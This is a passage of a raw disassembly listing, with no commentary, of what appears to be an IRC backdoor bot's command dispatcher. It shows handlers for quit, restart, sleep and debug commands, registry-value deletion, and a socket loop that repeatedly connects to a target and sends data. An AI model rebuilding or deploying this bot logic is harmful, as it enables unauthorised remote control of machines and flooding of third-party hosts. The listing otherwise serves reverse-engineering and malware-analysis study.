		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4027CB
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_40805D:				; CODE XREF: sub_407A76+5CEj
		cmp	edi, dword_414CD0
		jnz	short loc_40807F
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_401FA3
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_40807F:				; CODE XREF: sub_407A76+5EDj
		cmp	edi, dword_414CC0
		jnz	short loc_4080A1
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40495C
		jmp	loc_408A9C
; ---------------------------------------------------------------------------

loc_4080A1:				; CODE XREF: sub_407A76+60Fj
		cmp	edi, dword_414CB0
		jnz	short loc_4080C3
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4110B4
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_4080C3:				; CODE XREF: sub_407A76+631j
		cmp	edi, dword_414CA0
		jnz	short loc_4080F6
		mov	esi, [ebp+arg_18]
		mov	eax, [esi+4]
		test	eax, eax
		jz	loc_408D69
		push	eax
		push	80000001h
		call	sub_401000
		push	dword ptr [esi+4]
		push	80000002h
		call	sub_401000
		jmp	loc_408A9C
; ---------------------------------------------------------------------------

loc_4080F6:				; CODE XREF: sub_407A76+653j
		cmp	edi, dword_414C90
		jnz	short loc_40810E
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40110A
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_40810E:				; CODE XREF: sub_407A76+686j
		cmp	edi, dword_414C84
		jnz	short loc_40812F
		push	0

loc_408118:				; CODE XREF: sub_407A76+6C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4014B0
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_40812F:				; CODE XREF: sub_407A76+69Ej
		cmp	edi, dword_414C78
		jnz	short loc_40813A
		push	eax
		jmp	short loc_408118
; ---------------------------------------------------------------------------

loc_40813A:				; CODE XREF: sub_407A76+6BFj
		cmp	edi, dword_414C6C
		jnz	short loc_408153
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40719C
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_408153:				; CODE XREF: sub_407A76+6CAj
		cmp	edi, dword_414C64
		jnz	short loc_40816A
		push	offset dword_41A2E8
		push	offset dword_414C54
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_40816A:				; CODE XREF: sub_407A76+6E3j
		cmp	edi, dword_414C48
		jnz	short loc_408189
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40F6CD
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_408189:				; CODE XREF: sub_407A76+6FAj
		cmp	edi, dword_414C3C
		jz	loc_408D3D
		cmp	edi, dword_414C30
		jz	loc_408D3D
		cmp	edi, dword_414C24
		jz	loc_408D3D
		cmp	edi, dword_414C14
		jnz	short loc_4081C6
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40F7FD
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_4081C6:				; CODE XREF: sub_407A76+73Dj
		cmp	edi, dword_414C00
		jnz	short loc_408212
		mov	esi, [ebp+arg_18]
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4081FE
		push	eax
		call	sub_41115C
		test	eax, eax
		pop	ecx
		jz	loc_408D69
		push	104h
		push	dword ptr [esi+4]
		push	offset dword_419FE0
		call	sub_4059C2
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_4081FE:				; CODE XREF: sub_407A76+760j
		push	offset dword_419ECC
		push	offset dword_419FE0

loc_408208:				; CODE XREF: sub_407A76+902j
					; sub_407A76+112Aj
		call	sub_4114B8	; _mbscpy
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_408212:				; CODE XREF: sub_407A76+756j
		cmp	edi, dword_414BF0
		jnz	short loc_40823D
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40FBA7

loc_408235:				; CODE XREF: sub_407A76+587j
					; sub_407A76+12E2j
		add	esp, 18h
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_40823D:				; CODE XREF: sub_407A76+7A2j
		cmp	edi, dword_414BE8
		jnz	loc_4082EA
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		call	sub_4114BE	; strlen
		shl	eax, 1
		push	eax
		call	sub_4114C4	; malloc
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_408D69
		push	dword ptr [esi+4]
		call	sub_4114BE	; strlen
		push	eax
		push	edi
		push	dword ptr [esi+4]
		call	sub_40A51A
		add	esp, 10h
		lea	eax, [ebp+var_208]
		push	edi
		push	offset dword_414BCC
		push	eax
		call	sub_4096CB
		push	edi
		call	sub_4114CA	; free
		mov	esi, 1000h
		lea	eax, [ebp+var_19E4]
		push	esi
		push	eax
		call	sub_40B4D9
		add	esp, 18h
		call	sub_4114E2	; clock
		mov	ebx, eax
		mov	edi, 186A0h

loc_4082C1:				; CODE XREF: sub_407A76+863j
		lea	eax, [ebp+var_59E4]
		push	esi
		push	eax
		lea	eax, [ebp+var_19E4]
		push	eax
		call	sub_40A51A
		add	esp, 0Ch
		dec	edi
		jnz	short loc_4082C1
		call	sub_4114E2	; clock
		sub	eax, ebx
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		jmp	short loc_40835E
; ---------------------------------------------------------------------------

loc_4082EA:				; CODE XREF: sub_407A76+7CDj
		cmp	edi, dword_414BAC
		jnz	short loc_408345
		mov	edi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [edi+4]
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408D69
		push	esi
		push	dword ptr [edi+4]
		call	sub_40A44E
		pop	ecx
		mov	[eax+esi], bl
		pop	ecx
		lea	eax, [ebp+var_208]
		push	esi
		push	offset dword_414B90
		push	eax
		call	sub_4096CB
		push	esi
		call	sub_4114CA	; free
		jmp	loc_408A9C
; ---------------------------------------------------------------------------

loc_408345:				; CODE XREF: sub_407A76+87Aj
		cmp	edi, dword_414B80
		jnz	short loc_40837D
		mov	esi, [esi+4]
		test	esi, esi
		jnz	short loc_408372
		push	offset dword_41A2E8
		push	offset dword_414B6C

loc_40835E:				; CODE XREF: sub_407A76+F0j
					; sub_407A76+1E3j ...
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4096CB

loc_40836A:				; CODE XREF: sub_407A76+10Fj
					; sub_407A76+5ABj ...
		add	esp, 0Ch
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_408372:				; CODE XREF: sub_407A76+8DCj
		push	esi
		push	offset dword_41A2E8
		jmp	loc_408208
; ---------------------------------------------------------------------------

loc_40837D:				; CODE XREF: sub_407A76+8D5j
		cmp	edi, dword_414B60
		jnz	short loc_408392
		push	dword ptr [esi+4]
		call	sub_406EA9
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_408392:				; CODE XREF: sub_407A76+90Dj
		cmp	edi, dword_414B54
		jnz	short loc_4083AE
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4030A7
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_4083AE:				; CODE XREF: sub_407A76+922j
		cmp	edi, dword_414B44
		jnz	short loc_4083C3
		push	dword ptr [esi+4]
		call	sub_406F84
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_4083C3:				; CODE XREF: sub_407A76+93Ej
		cmp	edi, dword_414B38
		jnz	short loc_4083E2
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_404ACF
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_4083E2:				; CODE XREF: sub_407A76+953j
		cmp	edi, dword_414B28
		jnz	short loc_4083FE
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40EA2F
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_4083FE:				; CODE XREF: sub_407A76+972j
		cmp	edi, dword_414B1C
		jnz	short loc_408423
		push	dword ptr [esi+10h]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40756C
		jmp	loc_408CFA
; ---------------------------------------------------------------------------

loc_408423:				; CODE XREF: sub_407A76+98Ej
		cmp	edi, dword_414B10
		jnz	short loc_408442
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40780C
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_408442:				; CODE XREF: sub_407A76+9B3j
		cmp	edi, dword_414B04
		jnz	short loc_408465
		push	offset dword_419ECC
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_4097DB
		pop	ecx
		pop	ecx
		push	36EE80h
		jmp	loc_40851C
; ---------------------------------------------------------------------------

loc_408465:				; CODE XREF: sub_407A76+9D2j
		cmp	edi, dword_414AE4
		jnz	short loc_4084B3
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408D69
		mov	edi, offset dword_418E50
		push	eax
		push	edi
		call	sub_4114B8	; _mbscpy
		mov	esi, [esi+8]
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_408494
		mov	esi, offset byte_4191D0

loc_408494:				; CODE XREF: sub_407A76+A17j
		push	esi
		mov	esi, offset dword_41A0E8
		push	esi
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		push	esi
		push	edi

loc_4084A4:				; CODE XREF: sub_407A76+A60j
		push	offset dword_414AD8
		call	sub_4097DB
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_4084B3:				; CODE XREF: sub_407A76+9F5j
		cmp	edi, dword_414ACC
		jnz	short loc_4084D8
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408D69
		mov	esi, [esi+8]
		cmp	esi, ebx
		jnz	short loc_4084D4
		mov	esi, offset byte_4191D0

loc_4084D4:				; CODE XREF: sub_407A76+A57j
		push	esi
		push	eax
		jmp	short loc_4084A4
; ---------------------------------------------------------------------------

loc_4084D8:				; CODE XREF: sub_407A76+A43j
		cmp	edi, dword_414AC0
		jnz	short loc_4084F6
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_408D69
		push	esi
		push	offset dword_414AB8
		jmp	loc_407B1B
; ---------------------------------------------------------------------------

loc_4084F6:				; CODE XREF: sub_407A76+A68j
		cmp	edi, dword_414AAC
		jnz	short loc_408527
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_408D69
		push	esi
		call	sub_41151C	; atoi
		cmp	eax, 927C0h
		pop	ecx
		jg	loc_408D69
		push	eax

loc_40851C:				; CODE XREF: sub_407A76+9EAj
		call	dword_4120A4	; Sleep
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_408527:				; CODE XREF: sub_407A76+A86j
		cmp	edi, dword_414AA4
		jnz	short loc_408556
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_408D69
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+8]
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		push	esi
		call	sub_409659
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_408556:				; CODE XREF: sub_407A76+AB7j
		cmp	edi, dword_414A98
		jnz	short loc_408585
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_408D69
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+8]
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		push	esi
		call	sub_4095E7
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_408585:				; CODE XREF: sub_407A76+AE6j
		cmp	edi, dword_414A90
		jnz	short loc_4085A1
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		test	eax, eax
		jz	loc_408D69
		push	eax
		jmp	loc_408D36
; ---------------------------------------------------------------------------

loc_4085A1:				; CODE XREF: sub_407A76+B15j
		cmp	edi, dword_414A84
		jnz	short loc_4085EB
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_4085CF
		cmp	dword_4191D8, ebx
		mov	eax, offset aOn	; "on"
		jnz	short loc_4085C4
		mov	eax, offset aOff ; "off"

loc_4085C4:				; CODE XREF: sub_407A76+B47j
		push	eax
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_4085CF:				; CODE XREF: sub_407A76+B3Aj
		push	offset aOn	; "on"
		push	esi
		call	sub_411924	; _strcmpi
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	dword_4191D8, eax
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_4085EB:				; CODE XREF: sub_407A76+B31j
		cmp	edi, dword_414A58
		jnz	short loc_408604
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_410B3B
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_408604:				; CODE XREF: sub_407A76+B7Bj
		cmp	edi, dword_414A4C
		jnz	short loc_408626
		cmp	dword ptr [esi+4], 0
		jz	loc_408D69
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_414A44
		jmp	loc_407B1B
; ---------------------------------------------------------------------------

loc_408626:				; CODE XREF: sub_407A76+B94j
		cmp	edi, dword_414A38
		jz	loc_408D31
		cmp	edi, dword_414A2C
		jz	loc_408D31
		cmp	edi, dword_414A24
		jz	loc_408D31
		cmp	edi, dword_414A18
		jnz	short loc_40869F
		lea	eax, [ebp+var_364]
		push	104h
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_364]
		push	ebx
		push	eax
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4121E4
		cmp	eax, 20h
		jbe	loc_408D69
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_4097DB
		pop	ecx
		push	ebx
		call	dword_412064	; ExitProcess

loc_40869F:				; CODE XREF: sub_407A76+BDAj
		cmp	edi, dword_414A0C
		jnz	short loc_4086CD
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_408D69
		movzx	eax, byte ptr [esi]
		push	eax
		push	eax
		push	offset dword_4149DC

loc_4086BC:				; CODE XREF: sub_407A76+E32j
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4096CB
		jmp	loc_408A9C
; ---------------------------------------------------------------------------

loc_4086CD:				; CODE XREF: sub_407A76+C2Fj
		cmp	edi, dword_4149CC
		jnz	short loc_4086DF
		call	sub_4052DF
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_4086DF:				; CODE XREF: sub_407A76+C5Dj
		cmp	edi, dword_4149C4
		jz	loc_408D1C
		cmp	edi, dword_4149B8
		jz	loc_408D1C
		cmp	edi, dword_4149B0
		jnz	short loc_408716
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_409149
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_408716:				; CODE XREF: sub_407A76+C87j
		cmp	edi, dword_4149A4
		jz	loc_408CFF
		cmp	edi, dword_414994
		jz	loc_408CFF
		cmp	edi, dword_41498C
		jnz	loc_40883A
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jnz	short loc_408748
		mov	dword ptr [esi+4], offset byte_4191D0

loc_408748:				; CODE XREF: sub_407A76+CC9j
		lea	eax, [ebp+arg_14]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi+4]
		call	dword_419224
		test	eax, eax
		jnz	loc_4088B3
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40882C
		mov	edi, 3E8h

loc_408772:				; CODE XREF: sub_407A76+DB0j
		push	2
		push	ebx
		push	ebx
		lea	eax, [ebp+var_9E4]
		push	401h
		push	eax
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_419228
		test	eax, eax
		jnz	loc_40881B
		mov	eax, [ebp+arg_18]
		mov	ecx, [eax+4]
		cmp	ecx, 2
		jnz	short loc_4087CE
		mov	eax, [esi+4]
		cmp	[eax], bl
		jnz	short loc_4087B0
		mov	eax, offset dword_414988

loc_4087B0:				; CODE XREF: sub_407A76+D33j
		lea	ecx, [ebp+var_9E4]
		push	ecx
		push	eax
		push	offset dword_414964

loc_4087BD:				; CODE XREF: sub_407A76+D76j
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4096CB
		add	esp, 10h
		jmp	short loc_408814
; ---------------------------------------------------------------------------

loc_4087CE:				; CODE XREF: sub_407A76+D2Cj
		mov	eax, [esi+4]
		cmp	ecx, 17h
		jnz	short loc_4087EE
		cmp	[eax], bl
		jnz	short loc_4087DF
		mov	eax, offset dword_414988

loc_4087DF:				; CODE XREF: sub_407A76+D62j
		lea	ecx, [ebp+var_9E4]
		push	ecx
		push	eax
		push	offset dword_414940
		jmp	short loc_4087BD
; ---------------------------------------------------------------------------

loc_4087EE:				; CODE XREF: sub_407A76+D5Ej
		cmp	[eax], bl
		jnz	short loc_4087F7
		mov	eax, offset dword_414988

loc_4087F7:				; CODE XREF: sub_407A76+D7Aj
		lea	edx, [ebp+var_9E4]
		push	edx
		push	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	offset dword_41490C
		push	eax
		call	sub_4096CB
		add	esp, 14h

loc_408814:				; CODE XREF: sub_407A76+D56j
		push	edi
		call	dword_4120A4	; Sleep

loc_40881B:				; CODE XREF: sub_407A76+D1Dj
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+1Ch]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jnz	loc_408772

loc_40882C:				; CODE XREF: sub_407A76+CF1j
		push	[ebp+arg_14]
		call	dword_41922C
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_40883A:				; CODE XREF: sub_407A76+CBEj
		cmp	edi, dword_414900
		jnz	short loc_4088C0
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jnz	short loc_408850
		mov	dword ptr [esi+4], offset byte_4191D0

loc_408850:				; CODE XREF: sub_407A76+DD1j
		lea	eax, [ebp+arg_18]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi+4]
		call	dword_419224
		test	eax, eax
		jnz	short loc_4088B3
		push	4
		push	ebx
		push	ebx
		lea	eax, [ebp+var_9E4]
		push	401h
		push	eax
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_419228
		push	[ebp+arg_18]
		test	eax, eax
		jnz	short loc_4088AD
		call	dword_41922C
		mov	esi, [esi+4]
		cmp	[esi], bl
		jnz	short loc_40889B
		mov	esi, offset dword_414988

loc_40889B:				; CODE XREF: sub_407A76+E1Ej
		lea	eax, [ebp+var_9E4]
		push	eax
		push	esi
		push	offset dword_4148E4
		jmp	loc_4086BC
; ---------------------------------------------------------------------------

loc_4088AD:				; CODE XREF: sub_407A76+E11j
		call	dword_41922C

loc_4088B3:				; CODE XREF: sub_407A76+CE3j
					; sub_407A76+DEBj
		push	dword ptr [esi+4]
		push	offset dword_4148C8
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_4088C0:				; CODE XREF: sub_407A76+DCAj
		cmp	edi, dword_4148B8
		jnz	loc_4089A3
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		call	sub_4114BE	; strlen
		cmp	eax, 0Ah
		pop	ecx
		jbe	loc_408D69
		push	dword ptr [esi+4]
		call	sub_4114BE	; strlen
		push	4
		push	offset a2002	; "2002"
		push	dword ptr [esi+4]
		mov	edi, eax
		call	sub_41178A	; memcmp
		add	esp, 10h
		test	eax, eax
		jnz	loc_408996
		mov	eax, [esi+4]
		add	eax, edi
		mov	cl, [eax-9]
		mov	byte ptr [ebp+var_10], cl
		mov	cl, [eax-8]
		mov	byte ptr [ebp+var_10+1], cl
		mov	byte ptr [ebp+var_10+2], bl
		mov	cl, [eax-7]
		mov	byte ptr [ebp+var_10+3], cl
		mov	cl, [eax-6]
		mov	[ebp+var_C], cl
		mov	[ebp+var_B], bl
		mov	cl, [eax-4]
		mov	[ebp+var_A], cl
		mov	cl, [eax-3]
		mov	[ebp+var_9], cl
		mov	byte ptr [ebp+var_8], bl
		mov	cl, [eax-2]
		mov	byte ptr [ebp+var_8+1],	cl
		mov	al, [eax-1]
		mov	byte ptr [ebp+var_8+2],	al
		lea	eax, [ebp+var_8+1]
		push	eax
		mov	byte ptr [ebp+var_8+3],	bl
		call	sub_4079AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_4079AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_10+3]
		push	eax
		call	sub_4079AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4079AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	offset dword_414880
		push	eax
		call	sub_4096CB

loc_40898E:				; CODE XREF: sub_407A76+55Fj
		add	esp, 1Ch
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_408996:				; CODE XREF: sub_407A76+E91j
		push	dword ptr [esi+4]
		push	offset dword_414864
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_4089A3:				; CODE XREF: sub_407A76+E50j
		cmp	edi, dword_414858
		jnz	loc_408A67
		call	sub_4114E2	; clock
		mov	[ebp+arg_0], eax
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		mov	[ebp+arg_14], ebx
		mov	byte ptr [ebp+arg_18+3], bl
		call	sub_4114E8	; memset
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		mov	edi, 3E8h
		cmp	eax, edi
		jnb	short loc_408A54

loc_4089E5:				; CODE XREF: sub_407A76+FD2j
		push	0FFFFh
		push	1
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	dword_412248	; htons
		push	4
		push	ebx
		mov	[ebp+var_12], ax
		call	sub_4031A7
		pop	ecx
		mov	[ebp+var_10], eax
		pop	ecx
		push	ebx
		push	2
		push	2
		call	dword_41222C	; socket
		mov	esi, eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_412208	; connect
		push	ebx
		lea	eax, [ebp+arg_18+3]
		push	1
		push	eax
		push	esi
		call	dword_412220	; send
		push	esi
		call	dword_412240	; closesocket
		add	[ebp+arg_14], 2Bh
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		cmp	eax, edi
		jb	short loc_4089E5
		mov	eax, [ebp+arg_14]
		cmp	eax, 400h
		ja	short loc_408A59

loc_408A54:				; CODE XREF: sub_407A76+F6Dj
		mov	eax, 400h

loc_408A59:				; CODE XREF: sub_407A76+FDCj
		shr	eax, 0Ah
		push	eax
		push	offset dword_414840
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_408A67:				; CODE XREF: sub_407A76+F33j
		cmp	edi, dword_414838
		jz	loc_408CDD
		cmp	edi, dword_41482C
		jz	loc_408CDD
		cmp	edi, dword_414820
		jnz	short loc_408AA4
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40F908

loc_408A9C:				; CODE XREF: sub_407A76+626j
					; sub_407A76+67Bj ...
		add	esp, 10h
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_408AA4:				; CODE XREF: sub_407A76+100Fj
		cmp	edi, dword_414818
		jz	loc_408CCC
		cmp	edi, dword_41480C
		jz	loc_408CCC
		cmp	edi, dword_414804
		jz	loc_408CBB
		cmp	edi, dword_4147F8
		jz	loc_408CBB
		cmp	edi, dword_4147E8
		jnz	short loc_408B13
		push	eax
		push	offset a9252	; "9252"
		call	sub_403644
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp+var_208]
		push	esi
		push	offset dword_413B64
		push	eax
		call	sub_4096CB
		add	esp, 0Ch
		test	esi, esi
		jz	loc_408D69
		push	esi
		call	sub_40392A
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_408B13:				; CODE XREF: sub_407A76+1064j
		cmp	edi, dword_4147D4
		jnz	short loc_408B2C
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_406A08
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_408B2C:				; CODE XREF: sub_407A76+10A3j
		cmp	edi, dword_4147CC
		jz	short loc_408BA5
		cmp	edi, dword_4147C0
		jz	short loc_408BA5
		cmp	edi, dword_4147B8
		jnz	loc_408D69
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408D69
		cmp	[esi+8], ebx
		jz	loc_408D69
		push	2
		push	offset aId	; "id"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408B81
		push	dword ptr [esi+8]
		push	offset byte_41A268
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_408B81:				; CODE XREF: sub_407A76+10FAj
		push	offset aUsername ; "username"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408D69
		push	dword ptr [esi+8]
		push	offset byte_41A3E8
		jmp	loc_408208
; ---------------------------------------------------------------------------

loc_408BA5:				; CODE XREF: sub_407A76+10BCj
					; sub_407A76+10C4j
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_408BBA
		push	esi
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_14], eax
		jmp	short loc_408BBD
; ---------------------------------------------------------------------------

loc_408BBA:				; CODE XREF: sub_407A76+1136j
		mov	[ebp+arg_14], ebx

loc_408BBD:				; CODE XREF: sub_407A76+1142j
		call	sub_406AB7
		mov	edi, 15180h
		xor	edx, edx
		mov	esi, edi
		mov	ecx, eax
		div	esi
		xor	edx, edx
		mov	esi, 0E10h
		mov	ebx, esi
		push	3Ch
		mov	[ebp+arg_18], eax
		mov	eax, ecx
		mov	ecx, edi
		div	ecx
		mov	ecx, edx
		xor	edx, edx
		mov	eax, ecx
		div	ebx
		xor	edx, edx
		mov	[ebp+var_8], eax
		mov	eax, ecx
		mov	ecx, esi
		div	ecx
		pop	ecx
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		cmp	[ebp+arg_18], eax
		jb	loc_408D69
		call	sub_406B29
		xor	edx, edx
		mov	ebx, edi
		mov	ecx, eax
		push	3Ch
		div	ebx
		xor	edx, edx
		mov	[ebp+arg_10], eax
		mov	eax, ecx
		div	edi
		mov	edi, esi
		mov	ecx, edx
		xor	edx, edx
		mov	eax, ecx
		div	edi
		xor	edx, edx
		mov	[ebp+arg_8], eax
		mov	eax, ecx
		div	esi
		pop	ecx
		push	1
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	edx, offset byte_4191D0
		mov	ecx, offset dword_4141FC
		mov	[ebp+arg_14], edx
		mov	ebx, eax
		pop	eax
		cmp	ebx, eax
		jz	short loc_408C57
		mov	[ebp+arg_14], ecx

loc_408C57:				; CODE XREF: sub_407A76+11DCj
		cmp	[ebp+arg_8], eax
		mov	[ebp+arg_0], edx
		jz	short loc_408C62
		mov	[ebp+arg_0], ecx

loc_408C62:				; CODE XREF: sub_407A76+11E7j
		cmp	[ebp+arg_10], eax
		mov	[ebp+arg_C], edx
		jz	short loc_408C6D
		mov	[ebp+arg_C], ecx

loc_408C6D:				; CODE XREF: sub_407A76+11F2j
		cmp	[ebp+var_1C], eax
		mov	edi, edx
		jz	short loc_408C76
		mov	edi, ecx

loc_408C76:				; CODE XREF: sub_407A76+11FCj
		cmp	[ebp+var_8], eax
		mov	esi, edx
		jz	short loc_408C7F
		mov	esi, ecx

loc_408C7F:				; CODE XREF: sub_407A76+1205j
		cmp	[ebp+arg_18], eax
		jnz	short loc_408C86
		mov	ecx, edx

loc_408C86:				; CODE XREF: sub_407A76+120Cj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_208]
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_1C]
		push	esi
		push	[ebp+var_8]
		push	ecx
		push	[ebp+arg_18]
		push	offset dword_414734
		push	eax
		call	sub_4096CB
		add	esp, 38h
		jmp	loc_408D69
; ---------------------------------------------------------------------------

